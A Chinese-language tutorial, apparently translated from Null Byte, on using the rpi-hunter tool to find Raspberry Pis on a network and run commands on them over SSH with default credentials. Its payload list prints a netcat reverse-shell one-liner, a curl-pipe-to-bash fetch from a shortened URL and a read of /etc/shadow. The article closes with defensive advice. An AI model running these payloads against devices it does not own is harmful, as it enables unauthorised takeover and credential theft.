利用Rpi-hunter通过默认凭证发现并攻击树莓派

本文详细介绍了如何使用Rpi-hunter工具扫描网络,发现使用默认凭证的树莓派设备,并远程执行自定义有效载荷。涵盖了工具安装、网络扫描、SSH配置及多种攻击演示。

如何利用Rpi-hunter通过默认凭证发现并攻击树莓派

配置树莓派时,很容易忽略更改默认密码。与许多物联网设备类似,树莓派的默认Raspbian操作系统安装时使用广为人知的默认密码,使得设备容易受到远程访问攻击。使用一个名为rpi-hunter的工具,黑客可以发现、访问同一网络上的任何使用弱密码的树莓派,并投放自定义有效载荷。

虽然此工具主要针对本地网络,但它也能够发现并攻击从任何地方直接连接到互联网的树莓派型号。网络中存在一个易受攻击的树莓派远非简单的恶作剧,它可以让黑客无限制地访问您内部网络上的其他设备,甚至将有效载荷传播到其他易受攻击的设备。

不要错过: 在10美元的树莓派Zero W上安装Kali Linux

默认凭证为何是个问题

仍然使用默认密码的设备连接到网络会带来相当大的风险。由于许多物联网设备由于硬编码凭证,甚至不允许设备所有者更改密码,因此它们成为黑客和自动化僵尸网络最喜欢的攻击目标。黑客在2016年10月利用了这些漏洞,使用连接在Mirai僵尸网络中的数千台易受攻击的计算机,导致美国互联网服务中断。

该僵尸网络的创建方法是:扫描互联网的大块地址空间以寻找开放的telnet端口,并尝试使用默认密码登录任何发现的设备,接管易受攻击的设备并将其添加到僵尸网络大军中。

除了物联网设备,默认凭证在路由器中也是一个重大问题。因为大多数用户连接设备后从未更改密码,任何拥有Wi-Fi密码的人都可以快速访问路由器的设置和管理门户。从这里,很容易设置远程管理,加载未经授权的固件以监视所有者,并对设备进行其他未经授权的更改,例如将DNS服务器指向恶意服务器。

不要错过: 用树莓派3 Model B+构建初学者黑客工具包

如果你知道设备正在使用的默认密码,自动化登录设备以执行某种操作就变得轻而易举。这就是rpi-hunter的用武之地。利用它,我们可以运用对树莓派默认密码的了解,自动化地远程连接和控制树莓派。

用于善途的Rpi-hunter

如果你有不止一个树莓派,rpi-hunter可以省去手动更新它们的麻烦。在网络上定位树莓派后,可以轻松地对每个设备单独进行修改,或者同时将一组树莓派作为整体进行访问。虽然rpi-hunter默认编程为尝试默认的Raspbian密码,但你可以轻松更改密码以反映你设置自己的树莓派时使用的密码。

如果你的家庭或工作网络中有需要配置的树莓派,你可以将它们连接到网络,启用SSH,并使用rpi-hunter对整个组进行所需的更改。你可以运行更新、更改密码,或预装你可能需要它们稍后运行的软件。将所有树莓派连接到网络并同时向所有设备发出命令,比必须逐个操作要方便得多。

用于恶途的Rpi-hunter

不难想象如何利用发现和控制大量使用默认凭证的树莓派的能力。除了原版Raspbian,许多树莓派被用作OctoPrint控制器或其他具有知名默认密码的应用程序。如果这些设备中有任何一台直接连接到互联网,rpi-hunter就可以通过互联网发现它们并开始发出命令。

不要错过: 构建Pumpkin Pi——流氓AP和MITM框架

对于树莓派所有者来说,忘记更改密码的风险在于允许陌生人远程控制它,并可能获得一个可以进一步感染你的网络的据点。设置后就忘记更改默认凭证的普通树莓派用户可能永远看不到其设备被入侵的迹象,即使它可能正在默默地执行指令,例如通过你的网络路由被盗的信用卡交易或监视你的流量。

所需条件

要遵循本指南,你需要一个树莓派型号(如Zero W、3 Model B+或4),运行Raspbian或Debian。你应该能够从树莓派基金会的下载页面为树莓派下载此操作系统。一旦你的树莓派运行原版Raspbian,你可以使用以太网电缆(如果Pi有以太网端口)或Wi-Fi将其连接到家庭网络。

接下来,你需要一台安装了Python的计算机来运行rpi-hunter。由于Python是跨平台的,你应该可以从其下载页面在你使用的操作系统上安装它。

推荐: 亚马逊上的CanaKit树莓派4入门套件(4 GB)

当你安装好Python,并且你的计算机连接到与你的树莓派相同的网络后,就可以开始使用rpi-hunter了。

准备Rpi-hunter

首先,我们需要安装rpi-hunter运行所依赖的任何库。为此,打开一个新的终端窗口并输入以下命令。如果你不是root用户,你应该在本文中的此命令和其他命令前使用sudo

1
2
3
4
~# pip install -U argparse termcolor

Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
~# apt -y install arp-scan tshark sshpass

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dh-python libdouble-conversion1 liblinear3 libtasn1-doc libwireshark11
  libwiretap8 libwscodecs2 libwsutil9
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  cryptsetup cryptsetup-initramfs cryptsetup-run gcc-10-base libgcc-s1
  libgnutls-dane0 libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28
  libhogweed5 libnettle7 libp11-kit-dev libp11-kit0 libsnappy1v5 libtasn1-6
  libtasn1-6-dev libwireshark-data libwireshark13 libwiretap10 libwsutil11
  p11-kit-modules wireshark-common wireshark-qt
Suggested packages:
  keyutils gnutls-bin gnutls-doc geoip-database-extra libjs-leaflet
  libjs-leaflet.markercluster snmp-mibs-downloader wireshark-doc
Recommended packages:
  cryptsetup-nuke-password libtasn1-doc
The following NEW packages will be installed:
  gcc-10-base libgcc-s1 libhogweed5 libnettle7 libwireshark13 libwiretap10
  libwsutil11 sshpass
The following packages will be upgraded:
  arp-scan cryptsetup cryptsetup-initramfs cryptsetup-run libgnutls-dane0
  libgnutls-openssl27 libgnutls28-dev libgnutls30 libgnutlsxx28 libp11-kit-dev
  libp11-kit0 libsnappy1v5 libtasn1-6 libtasn1-6-dev libwireshark-data
  p11-kit-modules tshark wireshark-common wireshark-qt
19 upgraded, 8 newly installed, 0 to remove and 1905 not upgraded.
Need to get 25.0 MB/26.8 MB of archives.
After this operation, 97.9 MB of additional disk space will be used.
...

安装完这些库后,我们可以继续从GitHub仓库安装rpi-hunter。要克隆该仓库,你可以在终端窗口中输入以下内容。

1
2
3
4
5
6
7
8
~# git clone https://github.com/BusesCanFly/rpi-hunter.git

Cloning into 'rpi-hunter'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137
Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done.
Resolving deltas: 100% (70/70), done.

现在,导航到"rpi-hunter"文件夹(通过cd命令),新下载的"rpi-hunter.py"已准备好让我们运行。

1
~# cd rpi-hunter

在树莓派上启用SSH

通过以太网电缆或Wi-Fi将树莓派连接到网络,并确保SSH已启用。你可以在新的终端窗口中运行raspi-config命令来检查这一点。选择"Interfacing Options",然后启用使用SSH远程命令行访问你的树莓派。

启用SSH后,保存你的选项。你可能需要重新启动。当你的设备重新启动后,你可以通过在树莓派上的终端窗口中输入ifconfig获取你的IP地址,然后在你的其他设备上运行以下命令来检查SSH是否正在运行。

1
~# nmap -p 22 (树莓派的IP地址在此处)

如果Nmap扫描显示端口为"open",则SSH已在你的树莓派上成功运行。

在树莓派上安装Rpi-hunter

在首次运行之前,我们需要通过在新的终端窗口中运行以下命令使"rpi-hunter.py"可执行。

1
~# chmod +x rpi-hunter.py

运行Rpi-hunter

现在,我们应该能够运行该程序并查看可以使用的各种标志。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
~/rpi-hunter# python rpi-hunter.py -h

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List avalible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner or ARP scan output

在这里,我们可以立即看到一些有用的标志。我们可以使用-r扫描单个设备或一系列IP地址,或者甚至可以使用-f标志从IP地址列表中提取。还有一些其他选项与我们将要选择的有效载荷有关,我们可以通过输入以下命令来探索可用的有效载荷。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~/rpi-hunter# python rpi-hunter.py --list

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Payloads:
Specify with --payload name

[raincow_install] sudo apt -y install fortune cowsay lolcat
[motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
[raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
[reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC
[apt_update] sudo apt update && sudo apt -y upgrade
[shadow] sudo cat /etc/shadow
[rickroll] curl -s -L http://bit.ly/10hA8iC | bash
[gitpip] sudo apt -y install git python-pip

在有效载荷列表中,我们可以看到有几个选项可供选择。我们可以更改每日消息,创建反向shell以远程控制树莓派,甚至自定义自己的有效载荷发送。

发现网络上的树莓派

为了发现网络上的树莓派,rpi-hunter将运行一系列扫描,以识别任何将自己列为树莓派制造的设备。如果我们想精确,可以首先自己运行扫描并直接在此处输入IP地址,但这里的重点是能够发现和控制网络上你可能原本不知道的设备。

不要错过: 在树莓派上启用监视模式和数据包注入

在不知道我们所在网络的任何信息的情况下,rpi-hunter将扫描整个网络范围以寻找树莓派设备,将它们添加到列表中,然后向任何运行默认凭证的设备发送有效载荷。我们可以使用whoami有效载荷通过以下命令实现。我在没有先将树莓派连接到网络的情况下运行了我的扫描。(注意:你也可以通过插入-r标志和有效载荷之前的IP范围来扫描特定的IP范围。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
~/rpi-hunter# python rpi-hunter.py --payload whoami

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
172.16.42.27    b0:19:c6:98:72:ee   (Unknown)
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.117   00:26:bb:1b:97:72   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.138   18:65:90:e0:3e:03   (Unknown)
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.35    10:4a:7d:39:ea:e0   Intel Corporate
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.95    3c:2e:f9:bb:87:ad   (Unknown)
172.16.42.105   88:e9:fe:87:c7:74   (Unknown)
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.
172.16.42.115   36:26:1f:e8:1f:63   (Unknown)
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.179   8c:85:90:81:9a:9b   (Unknown)
172.16.42.141   8c:85:90:c3:be:3e   (Unknown)
172.16.42.123   a4:34:d9:3f:b3:30   Intel Corporate
172.16.42.164   b8:e8:56:12:84:36   Apple, Inc.

23 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded

Located 0 Raspi's

Loaded 0 IP's

Sending payload to Pi's
Godspeed, little payloads

从输出中可以看到,在我们当前所在的网络上检测到了零台树莓派。如果有一台,我们应该会看到树莓派对whoami命令的响应,仅仅显示"pi"。

发送默认有效载荷

现在,让我们继续向一台活跃的树莓派发送脚本中包含的默认有效载荷之一。让我们使用motd有效载荷,它将修改树莓派的"每日消息",该消息在用户通过SSH登录时出现。(注意:如果你已经定位到要攻击的树莓派,请在有效载荷前插入-r标志及其IP地址。)

当我们执行此操作时,脚本将使用默认凭证通过SSH连接到我们发现的任何树莓派,然后将"CHANGE YOUR PASSWORD"添加到每日消息登录屏幕的文本中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
~/rpi-hunter# python rpi-hunter.py --payload motd

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.15    30:59:b7:08:b2:86   Microsoft
172.16.42.24    1c:36:bb:00:bd:84   (Unknown)
172.16.42.48    b4:9c:df:c1:27:5d   (Unknown)
172.16.42.85    8c:85:90:3a:77:14   (Unknown)
172.16.42.75    40:4e:36:3b:63:bf   HTC Corporation
172.16.42.80    34:23:87:ae:e4:41   Hon Hai Precision Ind. Co.,Ltd.
172.16.42.169   a8:bb:cf:13:42:6e   Apple, Inc.
172.16.42.121   8c:85:90:0c:a6:e6   (Unknown)
172.16.42.182   f4:5c:89:99:57:13   Apple, Inc.
172.16.42.102   8c:85:90:c4:45:08   (Unknown)
172.16.42.97    a4:b8:05:66:a0:64   Apple, Inc.
172.16.42.122   d0:c5:f3:9a:eb:2b   (Unknown)
172.16.42.130   90:61:ae:8f:f4:03   (Unknown)
172.16.42.127   4c:66:41:77:66:37   SAMSUNG ELECTRO-MECHANICS(THAILAND)
172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
172.16.42.112   c4:b3:01:bc:ab:e7   Apple, Inc.

21 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98

成功!下次我们通过SSH登录树莓派时,应该会看到添加的"CHANGE YOUR PASSWORD"消息。

发送自定义有效载荷

既然我们可以发送有效载荷,那么让我们超越脚本中提供的默认有效载荷,使用一个简单的自定义有效载荷。为此,我们可以将任何要发送给树莓派的命令用引号括起来放在--payload标志后面。要重新启动我们检测到的每个树莓派,我们可以发送sudo reboot命令作为我们的有效载荷。生成的命令如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot"

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98
Connection to 172.16.42.98 closed by remote host.

发出此命令后,网络上的每个树莓派都应该立即重新启动。如果某些树莓派使用的密码与Raspbian设置的默认"raspberry"密码不同,你可以使用-c标志更改rpi-hunter尝试的密码。

访问使用非默认密码的树莓派可以通过在终端窗口中运行以下命令来完成,将树莓派的密码添加在"toor"所在的位置。

1
~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"

既然你可以修改发送的密码并自定义你的有效载荷,rpi-hunter已准备好远程控制任何树莓派或树莓派组。

Rpi-hunter让你同时控制多个树莓派

使用默认凭证的设备很容易被访问,rpi-hunter是一个强大而有用的概念验证,展示了同时接管大量易受攻击设备是多么容易。请确保更改连接到网络上的任何设备的默认密码,并且永远不要将使用默认凭证的设备直接暴露在互联网上。

如果你担心其他人访问你的树莓派,请在不需要时禁用SSH,并考虑使用密钥文件而不是简单的密码来保护设备上的SSH访问。

希望你喜欢这篇关于使用rpi-hunter通过网络查找并向树莓派推送有效载荷的指南!如果你对这篇关于远程访问树莓派的教程有任何疑问,请在下面留言,并随时在Twitter @KodyKinzie 上联系我。

不要错过: 用BerryBoot在树莓派上启动多个操作系统

封面图片由Kody/Null Byte提供。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计